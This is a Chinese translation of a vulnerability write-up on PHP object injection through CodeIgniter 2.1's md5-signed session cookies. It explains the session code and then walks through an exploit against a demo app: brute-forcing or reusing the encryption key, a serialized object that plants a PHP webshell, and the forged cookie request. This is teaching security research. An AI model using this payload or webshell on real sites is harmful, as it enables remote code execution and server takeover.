Codeigniter 利用加密Key(金鑰)的物件注入漏洞
原文連結:http://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/
0x00 背景
大家好,Codeigniter 是我最喜愛的PHP框架之一。和別人一樣,我在這個框架中學習了PHP MVC程式設計。今天,我決定來分析一下Codeigniter的PHP 物件注入漏洞。
我在接下來的敘述中會把重點放在Codeigniter的Session會話機制上。所有我將會分析的method方法都在CodeIgniter/system/libraries/Session.php
檔案裡。我在本研究過程中使用的是Codeigniter 2.1 版本。
0x01 Codeigniter Session會話機制
Codeigniter 使用PHP的序列化method方法來儲存使用者Session會話中的變數。但是Codeigniter Session會話機制並不像我們預期的那樣工作。它把session會話的變數存在了客戶端的cookie裡面,大多數是在(伺服器)硬碟上而不是使用者COOKIE中。我不知道開發者們為什麼這麼設計。
下面的敘述摘自codeigniter的文件
The Session class stores session information for each user as serialized (and optionally encrypted) data in a cookie. Even if you are not using encrypted sessions, you must set an encryption key in your config file which is used to aid in preventing session data manipulation.
Session會話class類把每個使用者session會話的序列化的(可選加密的)資訊存在了Cookie裡面。即使你沒有使用加密的session會話,你也必須在配置檔案中設定一個加密key(金鑰)以用來防止session會話內容被人為篡改
在這篇文章中我們將分析session資料篡改的可能性以及相關問題。
0x02 Codeigniter Session會話資料結構
讓我們開始讀點兒程式碼。但是至此讓我解釋一下Codeigniter是如何建立session會話並且把變數放進session(-實際上是cookie!-)中的。
對了,我會在接下來的文章中使用CI簡寫代替Codeigniter
讓我們開始回顧一下Session類中構造方法的程式碼。下面的程式碼是__construct
方法的一部分
#!php
// Run the Session routine. If a session doesn't exist we'll
// create a new one. If it does, we'll update it.
// 開始session過程。如果session不存在我們就新建一個 如果存在就更新一個
if ( ! $this->sess_read())
{
$this->sess_create();
}
else
{
$this->sess_update();
}
// Delete 'old' flashdata (from last request)
// 刪除舊的flashdata(從最近的請求)
$this->_flashdata_sweep();
// Mark all new flashdata as old (data will be deleted before next request)
// 標記所有的flashdata為舊的(資料將會在下一次請求被刪除)
$this->_flashdata_mark();
// Delete expired sessions if necessary
// 如果需要的話刪除過期的session
$this->_sess_gc();
log_message('debug', "Session routines successfully run");
CI 試著去從當前客戶端的cookie中讀取資料值。如果失敗的話就建立一個新的,假設我們目前沒有任何cookie。那麼CI去試著呼叫sess_create
函式。接下來的程式碼是在Session類中sess_create
函式中擷取的
#!php
function sess_create()
{
$sessid = '';
while (strlen($sessid) < 32)
{
$sessid .= mt_rand(0, mt_getrandmax());
}
// To make the session ID even more secure we'll combine it with the user's IP
// 為了讓session 會話ID 更加安全,我們將把使用者IP繫結進去
$sessid .= $this->CI->input->ip_address();
$this->userdata = array(
'session_id' => md5(uniqid($sessid, TRUE)),
'ip_address' => $this->CI->input->ip_address(),
'user_agent' => substr($this->CI->input->user_agent(), 0, 120),
'last_activity' => $this->now,
'user_data' => ''
);
// Save the data to the DB if needed
// 如果需要的話將資料儲存在資料庫中
if ($this->sess_use_database === TRUE)
{
$this->CI->db->query($this->CI->db->insert_string($this->sess_table_name, $this->userdata));
}
// Write the cookie
// 寫cookie
$this->_set_cookie();
}
sess_create
負責建立session並且把它們發給使用者。正如你所見,它建立了一個陣列來在session中儲存session_id
,ip 地址,user-agent
等等。當userdata陣列就緒後,它呼叫了Session類中的另一個函式_set_cookie()
。現在該分析_set_cookie
函式的程式碼了
#!php
function _set_cookie($cookie_data = NULL)
{
if (is_null($cookie_data))
{
$cookie_data = $this->userdata;
}
// Serialize the userdata for the cookie
// 序列化使用者資料用作cookie
$cookie_data = $this->_serialize($cookie_data);
if ($this->sess_encrypt_cookie == TRUE)
{
$cookie_data = $this->CI->encrypt->encode($cookie_data);
}
else
{
// if encryption is not used, we provide an md5 hash to prevent userside tampering
// 如果沒有使用加密,我們使用md5雜湊函式來防止使用者端的篡改
$cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);
}
$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();
// Set the cookie
// 設定cookie
setcookie(
$this->sess_cookie_name,
$cookie_data,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
這裡有一條關於程式碼的註釋
#!php
// if encryption is not used, we provide an md5 hash to prevent userside tampering
// 如果沒有使用加密,我們使用md5雜湊函式來防止使用者端的篡改
CI使用了md5來加密序列化後的session會話資料。他使用了encryption_key
作為salt。然後把md5加密後的結果附在了$cookie_data
的後面
#!php
//
//
$cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);
我想要分析上述的程式碼。$cookie_data
將會傳送給客戶端。它包含著ip地址,user-agent
等等。CI使用了encryption_key
作為加salt的key。作為攻擊者我們知道$cookie_data
和md5加密的結果,因為CI把MD5計算結果附在了$cookie_data
的後面然後把它傳送給了我們攻擊者。讓我展示一下確切的資料。
ci_session=a:5:{s:10:"session_id";s:32:"e4f2a5e86d65ef070f5874f07c33b043";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397754060;s:9:"user_data";s:0:"";}550d610647f0ee0d019357d84f3b0488
你可以看到上面的ci_session
變數。那就是cookie的變數並且在資料值的後面你將看到550d610647f0ee0d019357d84f3b0488,這就是md5的結果,如果我們試著去逆向分析的話。
譯者注:32位的字母數字(無等號)可初步判斷為md5,另外上面的機制分析也說明了是用的md5
$cookie_data variables的值為:
{s:10:”session_id”;s:32:”e4f2a5e86d65ef070f5874f07c33b043″;s:10:”ip_address”;s:9:”127.0.0.1″;s:10:”user_agent”;s:76:”Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0″;s:13:”last_activity”;i:1397754060;s:9:”user_data”;s:0:””;}
$this->encryption_key = is what we are trying to get!
md5計算的結果 = 550d610647f0ee0d019357d84f3b0488
很明顯我們可以暴力破解探測使用的salt,我是說加密key。
舉例說明 假設有以下定義
$this->encryption_key = WE DONT NOW!
$cookie_data variables的值 = a:1:{s:4:”test”;i:1;}adf8a852dafaf46f8c8038256fd0963a
adf8a852dafaf46f8c8038256fd0963a = md5('a:1:{s:4:"test";i:1;}'.$this->encryption_key)
你可以使用暴力破解技術來探測encryption_key
! 為了暴力破解這個md5,你可以把encryption_key
當成你想要獲得的明文,所以$cookie_data
變數的值成了salt,然後當然反轉MD5函式形式從md5(plain-text, SALT) 到 md5(SALT,plain-text)
譯者注:因為目前的破解md5的自動化工具均預設是給出密文和salt而恢復明文,這裡的變換的原因是方便之後利用工具破解
這只是解釋。我們在真實生活中會有更長的$cookie_data
的情況。就像我之前提到的,為了暴力破解md5,$cookie_data
當成salt。很不幸HashCat不支援這種型別的salt key。
0x03 Codeigniter Session會話資料的儲存驗證
我們知道了CI如何創造cookie資料。現在我們將分析CI的cookie資料驗證系統。就像我之前假設的,我們沒有一個cookie。這一次我們在HTTP請求中帶一個cookie。讓我們觀察CI是怎樣檢測並驗證cookie的。為了這樣做,我們需要理解Session類中的sess_read()
方法的程式碼
記住Session類的_construct方法。它試著用sess_read方法去從客戶端讀取cookie。這是我為什麼將要分析sess_read
方法的原因
#!php
function sess_read()
{
// Fetch the cookie
// 獲取cookie
$session = $this->CI->input->cookie($this->sess_cookie_name);
// No cookie? Goodbye cruel world!...
// 沒有cookie? 去你妹的冷酷世界!
if ($session === FALSE)
{
log_message('debug', 'A session cookie was not found.');
return FALSE;
}
// Decrypt the cookie data
// 解密cookie資料
if ($this->sess_encrypt_cookie == TRUE)
{
$session = $this->CI->encrypt->decode($session);
}
else
{
// encryption was not used, so we need to check the md5 hash
// 沒有用到加密,所以我們需要檢查MD5 hash
$hash = substr($session, strlen($session)-32); // get last 32 chars
$session = substr($session, 0, strlen($session)-32);
// Does the md5 hash match? This is to prevent manipulation of session data in userspace
// md5雜湊值是否匹配?這是為了阻止session會話資料使用者方面的人為操縱
if ($hash !== md5($session.$this->encryption_key))
{
log_message('error', 'The session cookie data did not match what was expected. This could be a possible hacking attempt.');
$this->sess_destroy();
return FALSE;
}
}
// Unserialize the session array
// Unserialize去序列化session會話陣列
$session = $this->_unserialize($session);
// Is the session data we unserialized an array with the correct format?
// 我們unserialized去序列化後的session會話資料是否格式正確?
if ( ! is_array($session) OR ! isset($session['session_id']) OR ! isset($session['ip_address']) OR ! isset($session['user_agent']) OR ! isset($session['last_activity']))
{
$this->sess_destroy();
return FALSE;
}
// Is the session current?
// 是否是當前會話?
if (($session['last_activity'] + $this->sess_expiration) < $this->now)
{
$this->sess_destroy();
return FALSE;
}
// Does the IP Match?
// ip是否匹配?
if ($this->sess_match_ip == TRUE AND $session['ip_address'] != $this->CI->input->ip_address())
{
$this->sess_destroy();
return FALSE;
}
// Does the User Agent Match?
// user-agent是否匹配?
if ($this->sess_match_useragent == TRUE AND trim($session['user_agent']) != trim(substr($this->CI->input->user_agent(), 0, 120)))
{
$this->sess_destroy();
return FALSE;
}
// Is there a corresponding session in the DB?
// 資料庫中是否與session一致?
if ($this->sess_use_database === TRUE)
{
$this->CI->db->where('session_id', $session['session_id']);
if ($this->sess_match_ip == TRUE)
{
$this->CI->db->where('ip_address', $session['ip_address']);
}
if ($this->sess_match_useragent == TRUE)
{
$this->CI->db->where('user_agent', $session['user_agent']);
}
$query = $this->CI->db->get($this->sess_table_name);
// No result? Kill it!
// 沒有查到? 結束吧!
if ($query->num_rows() == 0)
{
$this->sess_destroy();
return FALSE;
}
// Is there custom data? If so, add it to the main session array
// 有沒有自定義資料? 如果有,把它加在主session陣列裡
$row = $query->row();
if (isset($row->user_data) AND $row->user_data != '')
{
$custom_data = $this->_unserialize($row->user_data);
if (is_array($custom_data))
{
foreach ($custom_data as $key => $val)
{
$session[$key] = $val;
}
}
}
}
// Session is valid!
// session是合法的
$this->userdata = $session;
unset($session);
return TRUE;
}
接下來的程式碼CI檢查了session會話變數和user-agents。基本上CI想看到相同的user-agent和ip地址。就像我們分析的那樣,CI把那些變數寫進session會話了
我們來分析一下_unserialize
方法的程式碼
#!php
function _unserialize($data)
{
$data = @unserialize(strip_slashes($data));
if (is_array($data))
{
foreach ($data as $key => $val)
{
if (is_string($val))
{
$data[$key] = str_replace('{{slash}}', '\\', $val);
}
}
return $data;
}
return (is_string($data)) ? str_replace('{{slash}}', '\\', $data) : $data;
}
沒錯!它對使用者提供的資料呼叫了unserialize方法,在本例中資料是客戶端的cookie
0x04 概括
在去往exploitation利用部分之前,我希望總結一下我們到現在為止學到的東西
CI使用了serialize和unserialize方法來儲存Session中的變數
辯證來看,CI沒有使用真正的Session。CI在客戶端(cookie)儲存了session變數而不是伺服器端(硬碟)
CI透過計算md5來檢測使用者端的篡改
檢查user-agent和ip地址與session資料一致
呼叫unserialize方法
0x05 總結
我們遇到了一些障礙
CI沒有使用destruct(銷燬函式)或者喚醒方法
Codeigniter 透過$autoload['libraries']變數裝載libraries(庫)。如果Session類首先定義了那個陣列,你就不能接觸剩下的類。因為我們要利用Session並且CI在使用者裝載libraries前初始化Session類
讓我來闡明。CI按照次序從類中建立物件。那意味著在system/core路徑下的類檔案會首先建立。然後CI會去檢視$autoload['libraries']
陣列然後按照次序再次建立物件。所以,為了接觸不同的classes,初始化session會話類的路徑格外的重要
我寫了一個具有漏洞的codeigniter應用來做例子。接下來的講解都與那個應用相關
https://github.com/mmetince/codeigniter-object-inj 譯者注:然後點右下角的download zip下載下來,如果不clone的話
現在我們可以一起利用session完整性檢查的缺陷和unserialize方法
正如你所發現的那樣,我們需要知道encryption_key來利用漏洞做壞事!有兩種方法可用。
1 - 像我之前解釋的,一起利用md5的弱點和CI失敗的session會話資料完整性驗證。暴力破解它!當你認為encryption_key不會很長的時候我建議你這麼做
2 - 很多開發者把它們的應用釋出到github但是沒有修改encryption_key。並且使用那個應用的人們通常不會去修改encryption_key
在本例中我們目前已經知道encryption_key
是h4ck3rk3y
了,讓我們開始吧!
譯者注:他說的是他自己寫的應用$config['encryption_key'] = 'h4ck3rk3y';
這個設定在/application/config/config.php
裡面
http://localhost:8080/index.php/welcome
當我訪問上述URL時,它向我返回瞭如下HTTP響應
HTTP/1.1 200 OK
Host: localhost:8080
Connection: close
X-Powered-By: PHP/5.5.3-1ubuntu2.3
Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b4febcc23c1ceebfcae0a12471af8d72%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A76%3A%22Mozilla%2F5.0+%28X11%3B+Ubuntu%3B+Linux+x86_64%3B+rv%3A28.0%29+Gecko%2F20100101+Firefox%2F28.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1397759422%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/
Content-Type: text/html
我們看見了Set-Cookie這個http header變數,讓我們分析它 譯者注:別忘了解url編碼
ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";}30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/
你可以看到過期時間Expires dates和最大期限 Max-Age在字串的末尾。它們現在不是很重要,我們把它們去除掉吧
ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";}30f9db14538d353e98dd00d41d84d904
譯者注:去除了無關項後如上所示,之所以可以去掉是因為exploit的是CI邏輯下的cookie接收
現在我們將會像CI那樣從那個字串中分離出cookie和MD5
md5 = 30f9db14538d353e98dd00d41d84d904
Session data= a:5:{s:10:”session_id”;s:32:”b4febcc23c1ceebfcae0a12471af8d72″;s:10:”ip_address”;s:9:”127.0.0.1″;s:10:”user_agent”;s:76:”Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0″;s:13:”last_activity”;i:1397759422;s:9:”user_data”;s:0:””;}
我們已經知道CI把user-agent放進session會話資料如上文所示。實質上session會話資料是一個PHP陣列
Array
(
[session_id] => b4febcc23c1ceebfcae0a12471af8d72
[ip_address] => 127.0.0.1
[user_agent] => Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0
[last_activity] => 1397759422
[user_data] =>
)
我們知道CI在unserialize之後會去檢查ip地址和user-agents。但是在那個檢查獲取控制之前已經物件注入完畢了。我們可以隨心所欲修改它
現在是時候建立我們用來利用的物件類。下述的類可以在我們的例子中application/libraries路徑找到
譯者注:/application/libraries/Customcacheclass.php
#!php
<?php
/**
* Created by PhpStorm.
* User: mince
* Date: 4/18/14
* Time: 3:34 PM
*/
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Customcacheclass {
var $dir = '';
var $value = '';
public function __construct()
{
$this->dir = dirname(__FILE__)."/cache_dir/";
}
public function set_value($v){
$this->value = $v;
}
public function get_value(){
return $this->value;
}
public function __destruct(){
file_put_contents($this->dir."cache.php", $this->value, FILE_APPEND);
}
}
你可以看到__destruct
方法把類變數儲存在了cache.php檔案內。序列化形式的Cacheclass會像下面所示字串一樣
//
O:10:"Cacheclass":2:{s:3:"dir";s:15:"/tmp/cache_dir/";s:5:"value";s:3:"NUL";}
我們要把它改成下述形式來向cache.php檔案中寫入eval執行的程式碼
#!php
<?php
class Customcacheclass {
var $dir = 'application/libraries/cache_dir/';
var $value = '<?php system($_SERVER[HTTP_CMD]);?>';
}
echo serialize(new Customcacheclass);
// Result
// 執行結果
O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}
現在我們需要對構造的session會話資料計算真實的MD5值 以透過sess_read方法的完整性控制
#!php
<?php
$b = 'O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}';
$private_key = 'h4ck3rk3y';
echo md5($b.$private_key);
echo "\n";
結果是fc47e410df55722003c443cefbe1b779 我們將把這段MD5加在我們的新cookie值末尾
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Referer: http://localhost/
Cookie: ci_session=O%3A16%3A%22Customcacheclass%22%3A2%3A%7Bs%3A3%3A%22dir%22%3Bs%3A32%3A%22application%2flibraries%2fcache_dir%2f%22%3Bs%3A5%3A%22value%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%24_SERVER%5BHTTP_CMD%5D%29%3B%3F%3E%22%3B%7Dfc47e410df55722003c443cefbe1b779
當你傳送上述的http請求給CI時你會看到下述程式碼出現在cache.php檔案內
#!php
<?php system($_SERVER[HTTP_CMD]);?>
相關文章
- 技術分享 | 一種針對PHP物件注入漏洞的新型利用方法2018-08-31PHP物件
- git如何生成ssh金鑰 git生成配置ssh金鑰key詳細步驟2022-04-16Git
- 索尼PS5遭破解,黑客利用核心漏洞獲取根金鑰2021-11-16黑客
- WordPress < 3.6.1 PHP 物件注入漏洞2020-08-19PHP物件
- C# Rsa加密(私鑰加密、公鑰解密、金鑰格式轉換、支援超大長度分段加密)2024-08-16C#加密解密
- Joomla 物件注入漏洞分析報告2020-08-19OOM物件
- 獲取安卓中加密資料庫的金鑰2024-08-01安卓加密資料庫
- 基於 GDI 物件的 Windows 核心漏洞利用2018-05-09物件Windows
- office 2010 金鑰 office 2010永久的金鑰2019-05-11
- 在 Linux 中用Seahorse管理你的密碼和加密金鑰2022-04-05Linux密碼加密
- 金鑰,私鑰,公鑰的區分2023-03-03
- 資料加密 第四篇:對稱金鑰2020-05-18加密
- 如何使用 Putty 以金鑰 private key 的方式登入騰訊雲主機2021-06-20
- 資料加密 第五篇:非對稱金鑰2020-06-03加密
- bitlocker如何恢復金鑰 bitlocker恢復金鑰的方法2021-12-29
- 從記憶體中竊取未加密的SSH-agent金鑰2020-08-19記憶體加密
- 本地金鑰的安全2018-08-07
- vmware金鑰最新版 vmware金鑰大全2021-11-02
- 雲端計算安全需要將加密金鑰進行控制2019-05-14加密
- Zabbix透過PSK共享金鑰實現Server和Agent的通訊加密2019-09-04Server加密
- apt-key 金鑰管理,apt-secure 原理 驗證鏈 驗證測試2020-06-02APT
- 【ubuntu】金鑰儲存在過時的 trusted.gpg 金鑰環中2024-06-14UbuntuRust
- server2003安裝金鑰 server金鑰序列號2022-03-08Server
- office產品金鑰大全 office產品金鑰分享2022-02-25
- RSA非對稱加密演算法中的金鑰對生成與傳輸2024-06-25加密演算法
- vs2015金鑰專業版企業版金鑰大全 visual studio產品金鑰20152021-12-14
- 劍橋量子推出量子增強型加密金鑰生成平臺2021-12-10加密
- MSSQL-最佳實踐-使用非對稱金鑰實現列加密2018-10-19SQL加密
- bandizip註冊產品金鑰 bandizip金鑰使用步驟2021-12-25
- C#和JAVA的RSA金鑰、公鑰轉換2018-03-19C#Java
- oracle 隱式金鑰2024-01-24Oracle
- gitlab配置ssh金鑰2019-04-18Gitlab
- 生成RSA金鑰對2021-02-03
- CI-CodeIgniter中“超級物件”:$CI =& get_instance()2019-02-16物件
- git生成ssh金鑰詳細步驟 git如何生成ssh金鑰2022-04-26Git
- vs2012產品金鑰最新 vs2012金鑰使用教程2022-02-15
- 域滲透的金之鑰匙2020-08-19
- 理解php物件注入2020-08-19PHP物件